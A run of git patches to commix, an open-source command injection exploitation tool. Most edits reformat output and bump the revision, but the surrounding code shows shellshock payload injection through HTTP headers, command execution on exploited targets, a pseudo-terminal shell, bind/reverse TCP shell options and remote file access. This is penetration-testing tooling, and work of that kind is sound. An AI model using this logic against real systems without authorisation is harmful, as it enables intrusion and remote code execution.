- sys.stdout.flush()
+ warn_msg += dest_to_write + "' file."
+ print(settings.print_warning_msg(warn_msg))
settings.FILE_ACCESS_DONE = True
#-------------------------------------
@@ -419,9 +409,8 @@ def file_access(url, cve, check_header, filename):
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as warn_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, "
- warn_msg += "does not exist. (" + str(warn_msg) + ")\n"
- sys.stdout.write(settings.print_critical_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += "does not exist. (" + str(warn_msg) + ")"
+ print(settings.print_critical_msg(warn_msg))
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
@@ -451,9 +440,8 @@ def file_access(url, cve, check_header, filename):
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to upload the '" + dest_to_upload + "' file.\n"
- sys.stdout.write(settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += "to upload the '" + dest_to_upload + "' file."
+ print(settings.print_warning_msg(warn_msg))
settings.FILE_ACCESS_DONE = True
#-------------------------------------
@@ -477,23 +465,15 @@ def file_access(url, cve, check_header, filename):
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the '" + file_to_read + "' file.\n"
- sys.stdout.write(settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += "to read the '" + file_to_read + "' file."
+ print(settings.print_warning_msg(warn_msg))
settings.FILE_ACCESS_DONE = True
- if settings.FILE_ACCESS_DONE == True:
- print(settings.SINGLE_WHITESPACE)
-
"""
Execute the bind / reverse TCP shell
"""
def execute_shell(url, cmd, cve, check_header, filename, os_shell_option):
-
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- #if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
-
err_msg = "The " + os_shell_option.split("_")[0] + " "
err_msg += os_shell_option.split("_")[1].upper() + " connection has failed."
print(settings.print_critical_msg(err_msg))
@@ -566,7 +546,7 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h
"""
Check commix shell options
"""
-def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
+def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result):
if os_shell_option == False:
if no_result == True:
@@ -582,7 +562,8 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r
# The "os_shell" option
elif os_shell_option == "os_shell":
warn_msg = "You are into the '" + os_shell_option + "' mode."
- print(settings.print_warning_msg(warn_msg))+ "\n"
+ print(settings.print_warning_msg(warn_msg))
+ return go_back, go_back_again
# The "bind_tcp" option
elif os_shell_option == "bind_tcp":
@@ -631,7 +612,8 @@ def shellshock_handler(url, http_request_method, filename):
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
- sys.stdout.write("\n" + settings.print_payload(payload))
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
@@ -691,8 +673,6 @@ def shellshock_handler(url, http_request_method, filename):
logs.update_payload(filename, counter, payload)
if settings.VERBOSITY_LEVEL != 0:
- if settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
checks.total_of_requests()
info_msg = "The (" + check_header + ") '"
@@ -705,9 +685,7 @@ def shellshock_handler(url, http_request_method, filename):
print(settings.print_sub_content(sub_content))
# Enumeration options.
- if settings.ENUMERATION_DONE == True :
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
+ if settings.ENUMERATION_DONE == True:
while True:
message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
enumerate_again = common.read_input(message, default="Y", check_batch=True)
@@ -726,7 +704,7 @@ def shellshock_handler(url, http_request_method, filename):
enumeration(url, cve, check_header, filename)
# File access options.
- if settings.FILE_ACCESS_DONE == True :
+ if settings.FILE_ACCESS_DONE == True:
while True:
message = "Do you want to ignore stored session and access files again? [Y/n] > "
file_access_again = common.read_input(message, default="Y", check_batch=True)
@@ -747,111 +725,119 @@ def shellshock_handler(url, http_request_method, filename):
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- # if settings.VERBOSITY_LEVEL <= 1:
- # print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(shell))
- raise SystemExit()
-
- else:
- # Pseudo-Terminal shell
- print(settings.SINGLE_WHITESPACE)
- go_back = False
- go_back_again = False
- while True:
- if go_back == True:
- break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
- gotshell = common.read_input(message, default="Y", check_batch=True)
- else:
- gotshell = common.read_input(message, default="n", check_batch=True)
- if gotshell in settings.CHOICE_YES:
- print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
- if settings.READLINE_ERROR:
- checks.no_readline_module()
- while True:
- try:
- if not settings.READLINE_ERROR:
- checks.tab_autocompleter()
- sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default="os_shell", check_batch=True)
- cmd = checks.escaped_cmd(cmd)
-
- if cmd.lower() in settings.SHELL_OPTIONS:
- os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
- go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
-
- if go_back:
+ info_msg = "Executing the user-supplied command '" + cmd + "'."
+ if shell:
+ print(settings.print_info_msg(info_msg))
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
+ print(settings.SINGLE_WHITESPACE)
+ else:
+ err_msg = "The '" + cmd + "' command, does not return any output."
+ print(settings.print_critical_msg(err_msg))
+
+ # Pseudo-Terminal shell
+ go_back = False
+ go_back_again = False
+ while True:
+ if go_back == True:
+ break
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
+ if gotshell in settings.CHOICE_YES:
+ print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
+ if settings.READLINE_ERROR:
+ checks.no_readline_module()
+ while True:
+ try:
+ if not settings.READLINE_ERROR:
+ checks.tab_autocompleter()
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
+ cmd = checks.escaped_cmd(cmd)
+ if cmd.lower() in settings.SHELL_OPTIONS:
+ os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
+ if os_shell_option is not False:
+ go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result)
+ if go_back and go_back_again == False:
break
- else:
- shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if shell != "":
- # Update logs with executed cmds and execution results.
- logs.executed_command(filename, cmd, shell)
- print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
- else:
- debug_msg = "Executing the '" + cmd + "' command. "
- if settings.VERBOSITY_LEVEL == 1:
- sys.stdout.write(settings.print_debug_msg(debug_msg))
- sys.stdout.flush()
- sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
- elif settings.VERBOSITY_LEVEL >= 2:
- sys.stdout.write(settings.print_debug_msg(debug_msg))
- sys.stdout.flush()
- sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
+ else:
+ logs.logs_notification(filename)
+ return True
+ else:
+ shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
+ if shell != "":
+ # Update logs with executed cmds and execution results.
+ logs.executed_command(filename, cmd, shell)
+ print(settings.SINGLE_WHITESPACE)
+ print(Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL)
+ print(settings.SINGLE_WHITESPACE)
+ else:
+ debug_msg = "Executing the '" + cmd + "' command. "
+ if settings.VERBOSITY_LEVEL == 1:
+ print(settings.print_debug_msg(debug_msg))
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_payload(payload))
print(settings.SINGLE_WHITESPACE)
+ elif settings.VERBOSITY_LEVEL >= 2:
+ print(settings.print_debug_msg(debug_msg))
+ print(settings.SINGLE_WHITESPACE)
+ sys.stdout.write(settings.print_payload(payload))
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "The '" + cmd + "' command, does not return any output."
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
- except KeyboardInterrupt:
- raise
+ except KeyboardInterrupt:
+ raise
- except SystemExit:
- raise
+ except SystemExit:
+ raise
- except EOFError:
- if not settings.IS_TTY:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "Exiting, due to EOFError."
- print(settings.print_error_msg(err_msg))
- raise
-
- except TypeError:
- break
-
- elif gotshell in settings.CHOICE_NO:
- if checks.next_attack_vector(technique, go_back) == True:
+ except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "Exiting, due to EOFError."
+ print(settings.print_error_msg(err_msg))
+ raise
+
+ except TypeError:
break
+
+ elif gotshell in settings.CHOICE_NO:
+ if checks.next_attack_vector(technique, go_back) == True:
+ break
+ else:
+ if no_result == True:
+ return False
else:
- if no_result == True:
- return False
- else:
- return True
-
- elif gotshell in settings.CHOICE_QUIT:
- raise SystemExit()
+ logs.logs_notification(filename)
+ return True
+ elif gotshell in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + gotshell + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ continue
+ break
- else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- continue
- break
- else:
- continue
-
- if no_result:
- if settings.VERBOSITY_LEVEL != 2:
- print(settings.SINGLE_WHITESPACE)
+ if no_result == True:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "All tested HTTP headers appear to be not injectable."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
-
+ else:
+ logs.logs_notification(filename)
+
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
response = False
elif settings.IGNORE_ERR_MSG == False:
err = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err))
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_critical_msg(err))
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
@@ -880,7 +866,6 @@ def cmd_exec(url, cmd, cve, check_header, filename):
"""
def check_for_shell(url, cmd, cve, check_header, filename):
try:
-
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
payload = shellshock_exploitation(cve, cmd)
@@ -889,7 +874,9 @@ def check_for_shell(url, cmd, cve, check_header, filename):
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
- sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_payload(payload))
+ print(settings.SINGLE_WHITESPACE)
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
@@ -913,7 +900,8 @@ def check_for_shell(url, cmd, cve, check_header, filename):
return shell, payload
except _urllib.error.URLError as err_msg:
- print("\n" + settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_critical_msg(err_msg))
raise SystemExit()
shell, payload = check_for_shell(url, cmd, cve, check_header, filename)
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index d362a27f1f..d1acf6c6dc 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -550,6 +550,7 @@ def configure_bind_tcp(separator):
print(settings.print_error_msg(err_msg))
pass
else:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + option + "' option, is not valid."
print(settings.print_error_msg(err_msg))
pass
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index 1106bec498..2f12bb71a9 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -767,6 +767,7 @@ def configure_reverse_tcp(separator):
print(settings.print_error_msg(err_msg))
pass
else:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + option + "' option, is not valid."
print(settings.print_error_msg(err_msg))
pass
diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt
index de1f14c0da..903decf9cc 100644
--- a/src/txt/shocker-cgi_list.txt
+++ b/src/txt/shocker-cgi_list.txt
@@ -400,3 +400,4 @@
/wwwadmin.cgi
/wwwboard.cgi
/wwwboard/wwwboard.cgi
+/cgi-bin/
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2df0c86364..482b6ebed2 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "68"
+REVISION = "69"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 5db724260f23464543717d8ae0440b17202c024c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 24 May 2022 07:28:12 +0300
Subject: [PATCH 146/560] Trivial update
---
.../blind/techniques/time_based/tb_handler.py | 5 ++++-
.../semiblind/techniques/file_based/fb_handler.py | 5 ++++-
.../techniques/tempfile_based/tfb_handler.py | 6 ++++--
src/core/main.py | 13 +++++--------
src/core/modules/shellshock/shellshock.py | 10 ++++------
src/core/requests/requests.py | 2 ++
src/utils/settings.py | 2 +-
7 files changed, 24 insertions(+), 19 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 33c6a5b42f..7f712877db 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -450,7 +450,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
menu.options.ignore_session = True
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
- elif file_access_again in settings.CHOICE_NO:
+ elif file_access_again in settings.CHOICE_NO:
+ new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
@@ -459,6 +460,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
print(settings.print_error_msg(err_msg))
pass
else:
+ if not new_line:
+ print(settings.SINGLE_WHITESPACE)
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Check if defined single cmd.
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index ff0d252b88..cc4659d8e0 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -585,7 +585,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if go_back == True:
break
message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- gotshell = common.read_input(message, default="Y", check_batch=True)
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 96cd13a702..5527993e63 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -496,7 +496,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
menu.options.ignore_session = True
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
- elif file_access_again in settings.CHOICE_NO:
+ elif file_access_again in settings.CHOICE_NO:
+ new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
@@ -507,7 +508,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
print(settings.print_error_msg(err_msg))
pass
else:
- print(settings.SINGLE_WHITESPACE)
+ if not new_line:
+ print(settings.SINGLE_WHITESPACE)
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
diff --git a/src/core/main.py b/src/core/main.py
index b322bd6d22..5fb236ecdb 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -573,7 +573,11 @@ def main(filename, url):
if not sys.stdin.isatty():
settings.IS_TTY = False
-
+
+ # Check if defined "--purge" option.
+ if menu.options.purge:
+ purge.purge()
+
# Check for missing mandatory option(s).
if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \
@@ -638,13 +642,6 @@ def main(filename, url):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- # Check if defined "--purge" option.
- if menu.options.purge:
- purge.purge()
- if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
- menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard)):
- raise SystemExit()
-
# Check the user-defined OS.
if menu.options.os:
checks.user_defined_os()
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 4cb7296c0a..2009419925 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -595,8 +595,7 @@ def shellshock_handler(url, http_request_method, filename):
info_msg = "Testing the " + technique + ". "
if settings.VERBOSITY_LEVEL >= 2:
info_msg = info_msg + "\n"
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ print(settings.print_info_msg(info_msg))
try:
i = 0
@@ -612,7 +611,6 @@ def shellshock_handler(url, http_request_method, filename):
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
@@ -824,7 +822,8 @@ def shellshock_handler(url, http_request_method, filename):
break
if no_result == True:
- print(settings.SINGLE_WHITESPACE)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "All tested HTTP headers appear to be not injectable."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
@@ -872,11 +871,10 @@ def check_for_shell(url, cmd, cve, check_header, filename):
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL != 0:
sys.stdout.write(settings.print_debug_msg(debug_msg))
- sys.stdout.flush()
+
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_payload(payload))
- print(settings.SINGLE_WHITESPACE)
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index dde40e07f6..438ff3f289 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -1176,6 +1176,8 @@ def check_target_os(server_banner):
settings.TARGET_OS = identified_os[:3].lower()
if menu.options.shellshock:
+ if settings.VERBOSITY_LEVEL != 0:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "The shellshock module is not available for "
err_msg += identified_os + " targets."
print(settings.print_critical_msg(err_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 482b6ebed2..a1cbba3644 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "69"
+REVISION = "70"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From e4d00424901309b5845abc7aa55e31adf1a28a12 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 25 May 2022 07:31:58 +0300
Subject: [PATCH 147/560] Trivial updates
---
src/core/injections/controller/checks.py | 11 +++++++---
src/core/injections/controller/controller.py | 10 ++++------
src/core/modules/shellshock/shellshock.py | 21 +++++++++++---------
src/core/requests/parameters.py | 4 +++-
src/core/requests/requests.py | 2 +-
src/utils/settings.py | 2 +-
6 files changed, 29 insertions(+), 21 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index fe69c93f57..397a02bff1 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -699,13 +699,15 @@ def check_CGI_scripts(url):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
+ _ = False
for cgi_script in CGI_SCRIPTS:
- if cgi_script in url and menu.options.shellshock == False:
- warn_msg = "URL is probable to contain a script ('" + cgi_script + "') "
+ if cgi_script in url:
+ warn_msg = "The URL is probable to contain a script ('" + cgi_script + "') "
warn_msg += "vulnerable to shellshock. "
+ _ = True
print(settings.print_warning_msg(warn_msg))
while True:
- message = "Do you want to enable the shellshock injection module? [Y/n] > "
+ message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > "
shellshock_check = common.read_input(message, default="Y", check_batch=True)
if shellshock_check in settings.CHOICE_YES:
menu.options.shellshock = True
@@ -720,6 +722,9 @@ def check_CGI_scripts(url):
err_msg = "'" + shellshock_check + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
+
+ if not _:
+ menu.options.shellshock = False
"""
Check if http / https.
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index b9a385812c..2638b15611 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -310,7 +310,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. "
print(settings.print_info_msg(info_msg))
-
# Skipping specific injection techniques.
if settings.SKIP_TECHNIQUES:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
@@ -442,7 +441,7 @@ def http_headers_injection(url, http_request_method, filename, timesec):
def user_agent_injection(url, http_request_method, filename, timesec):
user_agent = menu.options.agent
if not menu.options.shellshock:
- menu.options.agent = menu.options.agent + settings.INJECT_TAG
+ menu.options.agent = menu.options.agent + settings.INJECT_TAG
settings.USER_AGENT_INJECTION = True
if settings.USER_AGENT_INJECTION:
check_parameter = header_name = " User-Agent"
@@ -469,10 +468,9 @@ def referer_injection(url, http_request_method, filename, timesec):
def host_injection(url, http_request_method, filename, timesec):
host = menu.options.host
- if not menu.options.shellshock:
- if menu.options.host is None:
- menu.options.host = ""
- menu.options.host = menu.options.host + settings.INJECT_TAG
+ if menu.options.host is None:
+ menu.options.host = ""
+ menu.options.host = menu.options.host + settings.INJECT_TAG
settings.HOST_INJECTION = True
if settings.HOST_INJECTION:
check_parameter = header_name = " Host"
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 2009419925..e684774cbc 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -29,6 +29,14 @@
[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
"""
+if settings.MULTI_TARGETS or not settings.IS_TTY:
+ if settings.COOKIE_INJECTION == True:
+ settings.COOKIE_INJECTION = None
+ if settings.USER_AGENT_INJECTION == True:
+ settings.USER_AGENT_INJECTION = None
+ if settings.REFERER_INJECTION == True:
+ settings.REFERER_INJECTION = None
+
# Available HTTP headers
headers = [
"User-Agent",
@@ -592,11 +600,6 @@ def shellshock_handler(url, http_request_method, filename):
injection_type = "results-based command injection"
technique = "shellshock injection technique"
- info_msg = "Testing the " + technique + ". "
- if settings.VERBOSITY_LEVEL >= 2:
- info_msg = info_msg + "\n"
- print(settings.print_info_msg(info_msg))
-
try:
i = 0
total = len(shellshock_cves) * len(headers)
@@ -621,8 +624,6 @@ def shellshock_handler(url, http_request_method, filename):
request = _urllib.request.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
- else:
- menu.options.agent = default_user_agent
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
@@ -633,6 +634,8 @@ def shellshock_handler(url, http_request_method, filename):
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ if check_header == "User-Agent":
+ menu.options.agent = default_user_agent
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
@@ -880,8 +883,6 @@ def check_for_shell(url, cmd, cve, check_header, filename):
request = _urllib.request.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
- else:
- menu.options.agent = default_user_agent
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
@@ -892,6 +893,8 @@ def check_for_shell(url, cmd, cve, check_header, filename):
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ if check_header == "User-Agent":
+ menu.options.agent = default_user_agent
shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ')
shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
shell = ''.join(shell)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 8a00bcec0d..eb5794af6b 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -388,7 +388,9 @@ def vuln_POST_param(parameter, url):
Define the injection prefixes.
"""
def prefixes(payload, prefix):
- if settings.USER_AGENT_INJECTION == True:
+ if settings.COOKIE_INJECTION == True:
+ specify_cookie_parameter(menu.options.cookie)
+ elif settings.USER_AGENT_INJECTION == True:
specify_user_agent_parameter(menu.options.agent)
elif settings.REFERER_INJECTION == True:
specify_referer_parameter(menu.options.referer)
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 438ff3f289..06cf9ab0d3 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -1178,7 +1178,7 @@ def check_target_os(server_banner):
if menu.options.shellshock:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
- err_msg = "The shellshock module is not available for "
+ err_msg = "The shellshock module ('--shellshock') is not available for "
err_msg += identified_os + " targets."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a1cbba3644..4e3b11a6c3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "70"
+REVISION = "71"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 1afbfb9f292b208e9e7b92127134314c38b58ba1 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 26 May 2022 07:39:38 +0300
Subject: [PATCH 148/560] Minor updates
---
src/core/injections/controller/checks.py | 6 ++----
src/core/requests/parameters.py | 16 ++++++++++++----
src/utils/settings.py | 3 ++-
3 files changed, 16 insertions(+), 9 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 397a02bff1..6b190c4fc0 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -904,11 +904,9 @@ def wildcard_character(data):
_ = ""
for data in data.split("\\n"):
# Ignore the Accept HTTP Header
- if not data.startswith("Accept: ") and \
- not settings.WILDCARD_CHAR is None and \
- not settings.INJECT_TAG in data and \
- settings.WILDCARD_CHAR in data :
+ if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data :
data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG)
+ settings.WILDCARD_CHAR_APPLIED = True
_ = _ + data + "\\n"
data = _.rstrip("\\n")
if data.count(settings.INJECT_TAG) > 1:
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index eb5794af6b..584449586f 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -135,6 +135,7 @@ def do_GET_check(url, http_request_method):
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
# all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
